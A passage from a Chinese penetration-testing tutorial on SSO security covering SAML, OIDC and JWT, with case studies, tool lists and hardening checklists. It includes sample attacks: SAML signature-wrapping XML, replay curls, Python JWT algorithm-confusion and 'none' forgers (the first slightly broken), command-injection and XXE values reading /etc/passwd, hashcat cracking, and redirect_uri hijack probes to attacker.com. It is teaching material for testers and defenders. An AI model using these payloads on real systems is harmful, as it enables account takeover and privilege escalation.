│ │ └────────┬────────┘ │ │ │ │ │ │ 创建 │ │ ▼ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌──────────────┐ │ │ │ 应用 A 本地会话 │ │ 应用 B 本地会话 │ │ 应用 C 本地会话│ │ │ │ App A Session │ │ App B Session │ │ App C Session│ │ │ │ (短期:小时) │ │ (短期:小时) │ │ (短期:小时) │ │ │ └─────────────────┘ └─────────────────┘ └──────────────┘ │ │ │ │ 注销 │ │ │ │ │ ├── 局部注销 (Local Logout): 仅注销当前应用 │ │ │ │ │ └── 全局注销 (SLO): 注销 IdP 和所有应用 │ │ │ └──────────────────────────────────────────────────────────────┘ ``` --- ## SAML 协议安全测试 ### 5.1 SAML 基础 **SAML (Security Assertion Markup Language)** 是基于 XML 的 SSO 协议,广泛应用于企业环境。 **SAML 角色**: | 角色 | 说明 | |------|------| | 主体 (Principal) | 用户 | | 身份提供商 (IdP) | 验证用户身份,生成 SAML 断言 | | 服务提供商 (SP) | 依赖 IdP 进行认证的应用 | **SAML 断言类型**: 1. **认证断言 (Authentication Assertion)**:证明用户已认证 2. **属性断言 (Attribute Assertion)**:包含用户属性(邮箱、角色等) 3. **授权决策断言 (Authorization Decision Assertion)**:授权决策信息 ### 5.2 SAML 认证流程 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ │ 用户 │ │ 服务提供商 │ │ 身份提供商 │ │ User │ │ SP │ │ IdP │ └────┬────┘ └──────┬──────┘ └──────┬───────┘ │ │ │ │ 1. 访问 SP 受保护资源 │ │─────────────────>│ │ │ │ │ │ │ 2. 生成 SAML 请求 │ │ │ SAML Request │ │ │────────────────────>│ │ │ │ │ 3. 重定向到 IdP 登录 │ │ │<──────────────────────────────────────│ │ │ │ │ 4. 用户登录 │ │ │──────────────────────────────────────>│ │ │ │ │ │ 5. 生成 SAML 响应 │ │ │ SAML Response │ │ │ (包含 Assertion) │ │ │<────────────────────│ │ │ │ │ 6. 重定向回 SP,携带 SAML Response │ │──────────────────────────────────────>│ │ │ │ │ │ 7. 验证 SAML 响应 │ │ │ - 验证签名 │ │ │ - 验证有效期 │ │ │ - 验证 Audience │ │ │ │ │ │ 8. 创建本地会话 │ │ │────────────────────>│ │ │ │ │ 9. 访问成功 │ │ │<─────────────────│ │ │ │ │ ``` ### 5.3 SAML 安全漏洞 #### 5.3.1 SAML 签名绕过 **漏洞原理**:攻击者修改 SAML 断言内容,但绕过签名验证。 **常见攻击方式**: 1. **签名剥离攻击**:删除签名,SP 未验证 2. **XML 签名包装攻击**:添加额外签名元素 3. **注释注入攻击**:在签名元素中插入注释 4. **算法降级攻击**:强制使用弱签名算法 **测试方法**: ```xml <!-- 正常 SAML Response --> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>user@example.com</saml:NameID> </saml:Subject> <saml:AuthnStatement> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <!-- 签名内容 --> </ds:Signature> </samlp:Response> <!-- 攻击 1: 修改 NameID 为管理员 --> <saml:NameID>admin@example.com</saml:NameID> <!-- 如果 SP 未验证签名 → 权限提升成功 --> <!-- 攻击 2: 签名剥离 --> <!-- 删除 <ds:Signature> 部分,如果 SP 接受无签名的 Response → 漏洞 --> <!-- 攻击 3: XML 签名包装 --> <samlp:Response> <saml:Assertion ID="legitimate"> <!-- 合法内容,被签名 --> </saml:Assertion> <saml:Assertion ID="attack"> <saml:NameID>admin@example.com</saml:NameID> <!-- 攻击内容,未被签名但被 SP 处理 --> </saml:Assertion> </samlp:Response> ``` **测试工具**: ```bash # 使用 SAML Raider (Burp Suite 扩展) # 1. 拦截 SAML Response # 2. 修改 NameID 或属性 # 3. 尝试不同签名绕过技术 # 4. 转发请求 # 使用 samlib.py python samlib.py --forge-assertion --nameid admin@example.com original_response.xml # 使用 xmlsec 验证签名 xmlsec1 --verify --pubkey-cert-pem idp_cert.pem response.xml ``` **修复建议**: 1. 始终验证 SAML 签名 2. 验证签名覆盖所有关键元素 3. 拒绝无签名的 SAML 响应 4. 使用强签名算法(RSA-SHA256 或更好) 5. 验证 Audience 限制 6. 验证有效期(NotBefore/NotOnOrAfter) #### 5.3.2 SAML 重放攻击 **漏洞原理**:攻击者捕获有效的 SAML 响应,稍后重放以获得未授权访问。 **测试方法**: ```bash # 1. 捕获合法的 SAML Response SAML_RESPONSE="捕获的响应" # 2. 等待一段时间(超过正常会话时间) sleep 3600 # 3. 重放 SAML Response curl -X POST "https://sp.example.com/saml/acs" \ -d "SAMLResponse=$SAML_RESPONSE" # 如果成功 → 存在重放漏洞 ``` **修复建议**: 1. 实施 InResponseTo 验证 2. 使用一次性 ID 3. 维护已处理 ID 的缓存 4. 设置短的有效期 5. 绑定会话到客户端 IP 或设备 #### 5.3.3 SAML 配置错误 **常见配置错误**: | 错误 | 风险 | 检测 | |------|------|------| | 未验证签名 | 断言篡改 | 修改断言内容测试 | | 接受 HTTP | 中间人攻击 | 检查是否强制 HTTPS | | 宽松 Audience | 跨租户访问 | 测试不同 Audience | | 无有效期 | 重放攻击 | 延迟重放测试 | | 接受自签名证书 | 伪造 IdP | 使用自签名证书测试 | ### 5.4 SAML 测试检查清单 ``` □ SAML Response 签名验证 □ SAML Assertion 签名验证 □ 证书链验证 □ 签名算法强度(拒绝 MD5、SHA1) □ Audience 限制验证 □ 有效期验证(NotBefore/NotOnOrAfter) □ InResponseTo 验证 □ 条件语句验证 □ NameID 格式验证 □ 属性验证 □ HTTPS 强制 □ 注销功能测试 □ 错误处理(不泄露敏感信息) ``` --- ## OIDC 身份层安全测试 ### 6.1 OIDC 基础 **OpenID Connect (OIDC)** 是构建在 OAuth 2.0 之上的身份层,用于认证用户身份。 **OIDC 新增组件**: | 组件 | 说明 | |------|------| | ID Token | JWT 格式,包含用户身份信息 | | UserInfo Endpoint | 获取额外用户信息 | | Standard Scopes | openid, profile, email, address, phone | | Claims | 用户声明(姓名、邮箱等) | ### 6.2 ID Token 结构 ```json { "iss": "https://accounts.example.com", "sub": "1234567890", "aud": "client_id_abc123", "exp": 1516239022, "iat": 1516235422, "auth_time": 1516235400, "nonce": "n-0S6_WzA2Mj", "acr": "urn:oasis:names:tc:SAML:2.0:ac:classes:Password", "amr": [ "pwd" ], "email": "user@example.com", "email_verified": true, "name": "张三", "picture": "https://example.com/photo.jpg" } ``` **关键声明**: | 声明 | 说明 | 安全意义 | |------|------|----------| | iss | 签发者 | 验证 Token 来源 | | sub | 主题标识符 | 用户唯一标识 | | aud | 受众 | 验证 Token 是发给自己的 | | exp | 过期时间 | 防止使用过期 Token | | iat | 签发时间 | 审计用途 | | nonce | 随机数 | 防止重放攻击 | | acr | 认证上下文类 | 认证强度 | | amr | 认证方法引用 | 认证方式(密码、MFA 等) | ### 6.3 OIDC 安全测试 #### 6.3.1 ID Token 验证 **测试方法**: ```bash # 1. 获取 ID Token # 完成 OIDC 授权流程获取 ID Token ID_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAifQ.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.TCYt5XsITJX1CxPCT8yAV-TVkIEq_PbChOMqsLfRoPsnsgw5UE... " # 2. 解码 Token(不验证签名) echo $ID_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . # 3. 验证签名 # 使用 jose 工具 jose jws ver -i id_token.jwt -k jwks.json # 4. 验证声明 # 检查 iss 是否匹配预期 # 检查 aud 是否包含 client_id # 检查 exp 是否未过期 # 检查 nonce 是否匹配请求中的值 # 5. 篡改测试 # 修改 payload 中的声明(如 email_verified: false → true) # 重新签名(应该失败,因为没有私钥) ``` #### 6.3.2 混合流程攻击 (Hybrid Flow Attacks) **OIDC 混合流程**: | 流程 | 返回内容 | 用途 | |------|----------|------| | code | 授权码 | 标准授权码流程 | | id_token token | ID Token + Access Token | 隐式流程 | | code id_token | 授权码 + ID Token | 混合流程 | | code token | 授权码 + Access Token | 混合流程 | | code id_token token | 授权码 + ID Token + Access Token | 混合流程 | **测试方法**: ```bash # 测试混合流程中的安全控制 # 1. 请求 code id_token 流程 curl -v "https://auth.example.com/authorize?client_id=abc123&response_type=code%20id_token&redirect_uri=https://app.example.com/callback&scope=openid&nonce=xyz123" # 2. 检查 ID Token 是否立即返回(在授权码之前) # 3. 检查 ID Token 签名验证 # 4. 检查 nonce 验证 ``` #### 6.3.3 账户劫持测试 **漏洞场景**:攻击者将受害者账户链接到攻击者控制的凭据。 **测试方法**: ```bash # 1. 使用攻击者账户登录第三方 IdP # 2. 在 SP 发起登录,选择"使用第三方登录" # 3. 在 IdP 登录时,切换到受害者账户 # 4. 检查 SP 是否将受害者账户链接到攻击者会话 # 修复:实施 re-authentication 要求 # 在链接账户前要求重新输入密码 ``` ### 6.4 OIDC 安全最佳实践 1. **始终验证 ID Token 签名** 2. **验证所有必需声明**(iss, aud, exp, nonce) 3. **使用 HTTPS** 4. **实施 PKCE** 5. **设置合理的 Token 有效期** 6. **监控异常登录模式** 7. **提供账户链接审计日志** --- ## JWT Token 安全测试 ### 7.1 JWT 结构 ``` ┌─────────────────────────────────────────────────────────────┐ │ JWT Token │ │ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c └─────────────────────────────────────────────────────────────┘ │ ┌───────────────┼───────────────┐ │ │ │ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ Header │ │ Payload │ │ Signature│ │ 头部 │ │ 负载 │ │ 签名 │ └──────────┘ └──────────┘ └──────────┘ ``` **Header(头部)**: ```json { "alg": "HS256", "typ": "JWT" } ``` **Payload(负载)**: ```json { "sub": "1234567890", "name": "John Doe", "iat": 1516239022 } ``` **Signature(签名)**: ``` HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret ) ``` ### 7.2 JWT 常见漏洞 #### 7.2.1 算法混淆攻击 (Algorithm Confusion) **漏洞原理**:攻击者将签名算法从 RS256(非对称)改为 HS256(对称),使用公钥作为 HMAC 密钥。 **攻击步骤**: 1. 获取 JWT 和公钥(通常公开) 2. 修改 Header 中的 alg 为 HS256 3. 修改 Payload 中的声明(如 role: admin) 4. 使用公钥作为 HMAC 密钥签名 5. 服务器使用公钥验证 HMAC 签名(错误实现) **测试方法**: ```python import jwt import base64 # 原始 Token original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOmZhbHNlLCJpYXQiOjE1MTYyMzkwMjJ9.signature" # 获取公钥(从 JWKS 端点或证书) public_key = """-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----""" # 解码原始 Token header_b64, payload_b64, signature = original_token.split('.') payload = base64.urlsafe_b64decode(payload_b64 + '==') # 修改 Header: RS256 → HS256 new_header = {"alg": "HS256", "typ": "JWT"} new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).rstrip(b'=').decode() # 修改 Payload: admin: false → true import json payload_dict = json.loads(payload) payload_dict['admin'] = True new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'=').decode() # 使用公钥作为 HMAC 密钥签名 forged_signature = jwt.encode( base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'='), public_key, algorithm='HS256' ) # 构造伪造的 Token forged_token = f"{new_header_b64}.{new_payload_b64}.{forged_signature}" print(forged_token) ``` **修复建议**: 1. 明确指定接受的算法列表 2. 不接受 alg: none 3. 区分非对称和对称算法的处理 4. 使用 kid 参数时验证密钥来源 #### 7.2.2 None 算法攻击 **漏洞原理**:攻击者将 alg 设置为 none,移除签名,服务器接受无签名的 Token。 **测试方法**: ```python import base64 import json # 原始 Token original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.signature" # 修改 Header: alg = none new_header = {"alg": "none", "typ": "JWT"} new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).rstrip(b'=').decode() # 修改 Payload payload_dict = {"sub": "1234567890", "name": "Admin User", "admin": True} new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'=').decode() # 无签名(空字符串) forged_token = f"{new_header_b64}.{new_payload_b64}." print(forged_token) # 或者使用 "none" 作为签名(某些实现) forged_token = f"{new_header_b64}.{new_payload_b64}.none" ``` **修复建议**: 1. 明确拒绝 alg: none 2. 始终验证签名 3. 白名单允许的算法 #### 7.2.3 密钥爆破攻击 **漏洞原理**:使用弱密钥的 JWT 可以被暴力破解。 **测试工具**: ```bash # 使用 hashcat 破解 HS256 JWT # 格式:<jwt>:<wordlist> hashcat -m 16500 jwt.txt wordlist.txt # 使用 john the ripper john --format=HMAC-SHA256 jwt.txt # 在线工具(仅用于测试自己的 Token) https://jwt.io/ ``` **修复建议**: 1. 使用强密钥(至少 256 位随机) 2. 定期轮换密钥 3. 考虑使用非对称算法(RS256、ES256) #### 7.2.4 JWT 注入攻击 **漏洞原理**:在 JWT 声明中注入特殊字符,导致后端处理错误。 **测试方法**: ```python # 测试 SQL 注入 payload = { "sub": "1' OR '1'='1", "name": "admin'--" } # 测试命令注入 payload = { "user_id": "123; cat /etc/passwd", "email": "test@example.com|whoami" } # 测试 XXE(如果后端解析 XML) payload = { "data": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>&xxe;" } ``` **修复建议**: 1. 验证和清理所有声明值 2. 使用参数化查询 3. 最小权限原则 ### 7.3 JWT 安全测试检查清单 ``` □ 验证签名算法(拒绝 none) □ 测试算法混淆攻击(RS256 → HS256) □ 验证密钥强度(爆破测试) □ 验证 exp 声明(过期 Token) □ 验证 nbf 声明(未生效 Token) □ 验证 iat 声明(签发时间) □ 验证 iss 声明(签发者) □ 验证 aud 声明(受众) □ 测试 JWT 注入 □ 验证 kid 参数(密钥注入) □ 检查敏感信息(不在 Payload 中存储密码等) □ 验证 JWK/JWKS 端点安全 ``` --- ## 渗透测试实战案例 ### 8.1 案例一:OAuth 重定向劫持导致账户接管 **场景**:某 SaaS 平台使用 OAuth 2.0 进行第三方登录。 **发现过程**: 1. **信息收集**:发现平台支持 Google、GitHub 第三方登录 2. **请求拦截**:拦截 OAuth 授权请求 3. **漏洞测试**: ```http # 原始请求 GET /oauth/authorize?client_id=saas_platform&redirect_uri=https://app.saas.com/auth/callback&response_type=code&scope=user:email # 修改 redirect_uri GET /oauth/authorize?client_id=saas_platform&redirect_uri=https://attacker.com/callback&response_type=code&scope=user:email ``` 4. **漏洞确认**:授权码被发送到 attacker.com **利用链**: ``` 1. 攻击者构造恶意链接 → 受害者点击 2. 受害者登录 Google → 授权 3. 授权码发送到攻击者服务器 4. 攻击者用授权码换取 Access Token 5. 攻击者调用 /user 接口获取受害者邮箱 6. 攻击者使用该邮箱注册/登录 SaaS 平台 7. 账户接管成功 ``` **修复方案**: 1. 在 OAuth 提供商注册精确的 redirect_uri 2. 服务器端验证 redirect_uri 完全匹配 3. 实施 state 参数防止 CSRF ### 8.2 案例二:SAML 签名绕过导致权限提升 **场景**:企业使用 SAML SSO 访问内部应用。 **发现过程**: 1. **流量捕获**:使用 Burp Suite 捕获 SAML Response 2. **签名分析**:发现签名仅覆盖 Assertion 部分内容 3. **漏洞测试**: ```xml <!-- 原始 SAML Response --> <saml:AttributeStatement> <saml:Attribute Name="Role"> <saml:AttributeValue>user</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> <!-- 修改为 admin --> <saml:AttributeStatement> <saml:Attribute Name="Role"> <saml:AttributeValue>admin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> ``` 4. **漏洞确认**:修改后仍能成功登录,获得管理员权限 **修复方案**: 1. 签名覆盖整个 Assertion 2. SP 端严格验证签名 3. 实施属性白名单 ### 8.3 案例三:JWT 算法混淆导致认证绕过 **场景**:API 服务使用 JWT 进行身份认证。 **发现过程**: 1. **Token 分析**:获取正常 JWT Token 2. **算法测试**: ```python # 原始 Header {"alg": "RS256", "typ": "JWT"} # 修改为 HS256 {"alg": "HS256", "typ": "JWT"} # 使用公钥作为 HMAC 密钥签名 ``` 3. **Payload 修改**: ```json // 原始 {"user_id": 123, "role": "user"} // 修改后 {"user_id": 1, "role": "admin"} ``` 4. **漏洞确认**:伪造的 Token 被接受,获得管理员权限 **修复方案**: 1. 明确指定接受的算法 2. 拒绝 alg: none 3. 正确处理非对称/对称算法 ### 8.4 案例四:SSO 会话固定攻击 **场景**:多应用 SSO 环境。 **攻击过程**: 1. 攻击者访问应用 A,获取 SSO 会话 ID 2. 攻击者诱导受害者访问:`https://app.example.com?session_id=ATTACKER_SESSION` 3. 受害者登录,会话被固定到攻击者的会话 ID 4. 攻击者使用同一会话 ID 访问受害者账户 **修复方案**: 1. 登录后强制会话 ID 轮换 2. 拒绝 URL 中的会话参数 3. 绑定会话到设备指纹 --- ## 自动化测试工具 ### 9.1 OAuth 测试工具 | 工具 | 用途 | 链接 | |------|------|------| | OAuth Tester | Burp 扩展,测试 OAuth 漏洞 | Burp BApp Store | | AuthMatrix | 测试授权和权限 | GitHub | | JWT Editor | Burp 扩展,编辑和测试 JWT | Burp BApp Store | | jwt.io | 在线 JWT 解码和验证 | https://jwt.io | | crackjwt.py | JWT 密钥爆破 | GitHub | ### 9.2 SAML 测试工具 | 工具 | 用途 | 链接 | |------|------|------| | SAML Raider | Burp 扩展,SAML 测试 | Burp BApp Store | | SAMLtools | SAML 编码/解码/签名 | GitHub | | samlib.py | SAML 断言伪造 | GitHub | | xmlsec | XML 签名验证 | https://www.aleksey.com/xmlsec | ### 9.3 通用测试脚本 ```bash #!/bin/bash # oauth_test.sh - OAuth 安全测试脚本 TARGET_AUTH="https://auth.example.com" CLIENT_ID="test_client" REDIRECT_URI="https://app.example.com/callback" echo "[*] 测试 OAuth 重定向劫持..." # 测试 1: 开放重定向 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=https://attacker.com/callback&response_type=code" # 测试 2: 子域名绕过 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=https://attacker.app.example.com/callback&response_type=code" # 测试 3: 参数污染 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&redirect_uri=https://attacker.com/callback&response_type=code" echo "[*] 测试 state 参数..." # 测试 4: 无 state 参数 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code" echo "[*] 测试完成" ``` --- ## 最佳实践与修复建议 ### 10.1 OAuth 2.0 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 使用授权码 + PKCE | 最安全的流程 | ! 必须 | | 强制 HTTPS | 所有通信加密 | ! 必须 | | 验证 redirect_uri | 精确匹配 | ! 必须 | | 使用 state 参数 | 防止 CSRF | ! 必须 | | 短有效期 Token | Access Token < 1 小时 | ! 推荐 | | Refresh Token 轮换 | 每次使用生成新 Token | ! 推荐 | | Scope 最小化 | 只请求必要权限 | ! 推荐 | | Token 撤销机制 | 支持主动撤销 | ! 推荐 | ### 10.2 SAML 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证签名 | 始终验证 SAML 签名 | ! 必须 | | 加密敏感数据 | 加密 Assertion 或属性 | ! 必须 | | 验证有效期 | NotBefore/NotOnOrAfter | ! 必须 | | 验证 Audience | 限制接收方 | ! 必须 | | 使用强算法 | RSA-SHA256 或更好 | ! 推荐 | | 实施 SLO | 全局注销 | ! 推荐 | | 监控异常 | 登录异常检测 | ! 推荐 | ### 10.3 OIDC 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证 ID Token | 签名和所有声明 | ! 必须 | | 使用 PKCE | 防止授权码拦截 | ! 必须 | | 验证 nonce | 防止重放攻击 | ! 必须 | | HTTPS 强制 | 所有通信加密 | ! 必须 | | 短有效期 | ID Token < 1 小时 | ! 推荐 | | 实施 MFA | 多因素认证 | ! 推荐 | | 会话管理 | 适当的超时和撤销 | ! 推荐 | ### 10.4 JWT 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证签名 | 始终验证 | ! 必须 | | 白名单算法 | 明确指定接受的算法 | ! 必须 | | 拒绝 none | 不接受 alg: none | ! 必须 | | 强密钥 | 至少 256 位随机 | ! 必须 | | 验证声明 | exp, nbf, iss, aud | ! 必须 | | 不存敏感信息 | Payload 不存储密码等 | ! 推荐 | | 定期轮换密钥 | 减少泄露影响 | ! 推荐 | | 使用非对称算法 | RS256/ES256 优于 HS256 | ! 推荐 | ### 10.5 实施检查清单 ``` OAuth 2.0 安全检查 □ 使用授权码流程(非隐式) □ 实施 PKCE □ redirect_uri 精确匹配 □ state 参数验证 □ client_secret 安全存储 □ Token 有效期合理 □ Refresh Token 轮换 □ Scope 最小化 □ Token 撤销支持 □ HTTPS 强制 SAML 安全检查 □ 签名验证 □ 签名覆盖完整 Assertion □ 有效期验证 □ Audience 验证 □ 加密敏感数据 □ 强签名算法 □ InResponseTo 验证 □ 全局注销支持 OIDC 安全检查 □ ID Token 签名验证 □ 所有必需声明验证 □ nonce 验证 □ PKCE 实施 □ UserInfo 端点安全 □ 动态客户端注册安全 □ 会话管理 JWT 安全检查 □ 签名验证 □ 算法白名单 □ 拒绝 alg: none □ 密钥强度足够 □ 声明验证(exp, iss, aud) □ 无敏感信息 □ 密钥轮换机制 ``` --- ## 总结与思考 ### 核心要点回顾 1. **OAuth 2.0 是授权框架,不是认证协议** - 使用 OIDC 进行身份认证 - 不要混淆授权和认证 2. **授权码 + PKCE 是最安全的流程** - 避免隐式模式 - 移动和 SPA 应用必须使用 PKCE 3. **签名验证是 SSO 安全的基石** - SAML、JWT 都必须严格验证签名 - 警惕算法混淆攻击 4. **Token 管理至关重要** - 短有效期 + Refresh Token 轮换 - 提供撤销机制 5. **配置错误是主要风险来源** - redirect_uri、Audience、算法配置 - 定期审计配置 ### 深入思考问题 1. **零信任架构下的 SSO** - 传统 SSO 假设内网可信 - 零信任要求持续验证 - 如何平衡用户体验和安全? 2. **去中心化身份 (DID)** - 基于区块链的身份管理 - 用户完全控制身份数据 - 对传统 SSO 的影响? 3. **密码学演进** - 后量子密码学对 JWT/SAML 的影响 - 算法迁移策略 - 向后兼容与安全升级的平衡 ### 实战建议 1. **渗透测试优先级** - 首先测试配置错误(redirect_uri、签名验证) - 然后测试协议漏洞(算法混淆、重放攻击) - 最后测试业务逻辑漏洞 2. **自动化测试** - 将 OAuth/SAML 测试集成到 CI/CD - 定期运行自动化扫描 - 监控配置变更 3. **持续监控** - 异常登录检测 - Token 使用模式分析 - 及时响应安全事件 --- ## 参考资料 ### 学习资源 1. **OAuth 2.0** - RFC 6749: https://tools.ietf.org/html/rfc6749 - OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics - OAuth 2.1 Draft: https://oauth.net/2.1/ 2. **OpenID Connect** - OIDC Core Spec: https://openid.net/specs/openid-connect-core-1_0.html - OIDC Security Best Practices: https://openid.net/developers/how-connect-works/ 3. **SAML** - SAML 2.0 Overview: https://www.oasis-open.org/standards#samlv2.0 - SAML Security Considerations: https://docs.oasis-open.org/security/saml/v2.0/saml-sec-consider-2.0-os.pdf 4. **JWT** - RFC 7519: https://tools.ietf.org/html/rfc7519 - JWT Best Practices: https://auth0.com/blog/jwt-security-best-practices/ ### 工具资源 1. **测试工具** - Burp Suite: https://portswigger.net/burp - OWASP ZAP: https://www.zaproxy.org/ - JWT Editor: https://github.com/PortSwigger/jwt-editor 2. **在线工具** - jwt.io: https://jwt.io/ - SAML Decoder: https://www.samltool.com/ - OAuth Playground: https://oauthplayground.appspot.com/ 3. **代码库** - python-jose: https://github.com/mpdavis/python-jose - pyjwt: https://github.com/jpadilla/pyjwt - xmlsec: https://www.aleksey.com/xmlsec/ ### 书籍推荐 1. 《OAuth 2.0 Simplified》- Aaron Parecki 2. 《Web Security for Developers》- Malcolm McDonald 3. 《Real-World Bug Bounty》- Peter Yaworski 4. 《The Web Application Hacker's Handbook》- Dafydd Stuttard --- *Day 251 完成 | 渗透测试系列 41/50 | 累计 251/365*
myh0st
2026年4月13日 23:20
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码